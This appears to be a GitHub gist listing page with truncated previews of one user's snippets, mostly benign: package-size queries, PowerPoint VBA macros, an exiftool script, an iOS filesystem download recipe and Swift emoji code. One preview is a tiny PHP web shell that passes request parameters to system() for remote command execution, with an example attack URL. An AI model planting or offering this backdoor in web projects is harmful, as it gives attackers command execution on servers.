This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
dpkg-query -W --showformat='${Installed-Size;10}\t${Package}\n' | sort -k1,1n |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Attack with http://Site/shell.php?ctime=system&atime=ls+-la or even better a post. | |
@extract($_REQUEST); | |
@die ($ctime($atime)); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
PS1="\[\033[01;34m\]\w\[\033[00m\]\n\$ " |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import sys, urllib as ul | |
print ul.unquote_plus(open(sys.argv[1]).read()), |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
hdiutil burn foo.iso |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sub changeImageAspect() | |
Dim oshp As Shape | |
Dim osld As Slide | |
' Stupid workaround for no getter for scaleWidth/scaleHeight | |
Dim sHeightOld As Variant | |
Dim sWidthOld As Variant | |
Dim tScaleWidth As Variant | |
Dim tScaleHeight As Variant |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
if [ $# -lt 1 ] ; then | |
echo "WARNING: Will overwrite source image!" | |
echo "$0 [images]" | |
exit | |
fi | |
for IMAGE in "$@"; do | |
LENS=`exiftool -T -lens $1` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Get iOS 10 Beta 1 File System (iPhone 6s device) | |
wget -q http://apple.co/28R9rhS -O ios10beta1-iphone6s.zip | |
mkdir ios10beta1 | |
unzip -q ios10beta1-iphone6s.zip -d ios10beta1 | |
cd ios10beta1 | |
# wget this file for OSX systems | |
wget -q http://newosxbook.com/files/OTApack.tar | |
# or wget this file for Linux systems | |
wget -q http://www.willhackforsushi.com/code/OTApack.tar | |
tar xf OTApack.tar |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import Cocoa; import Foundation | |
func randomBool() -> Bool { | |
return arc4random_uniform(2) == 0 ? true: false | |
} | |
// A list of all emojis ( | |
let emojis = ["😀","😁","🙍🏾","🐺","🏃","🛂","💸","💰","💎","🌂","👝","👛","👜","🆔","🌀","🔻","💩"] | |
// A "collected list" of most used emojis |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
' Replace all double paragraph carriage returns in PowerPoint Notes. | |
' Also handles multiple Notes pages per slide. | |
Sub NotesFix() | |
Dim osld As Slide | |
Dim oshp As Shape | |
Dim strNotes As String | |
For Each osld In ActivePresentation.Slides | |
For Each oshp In osld.NotesPage.Shapes | |
If oshp.HasTextFrame Then | |
If oshp.TextFrame.HasText Then |
OlderNewer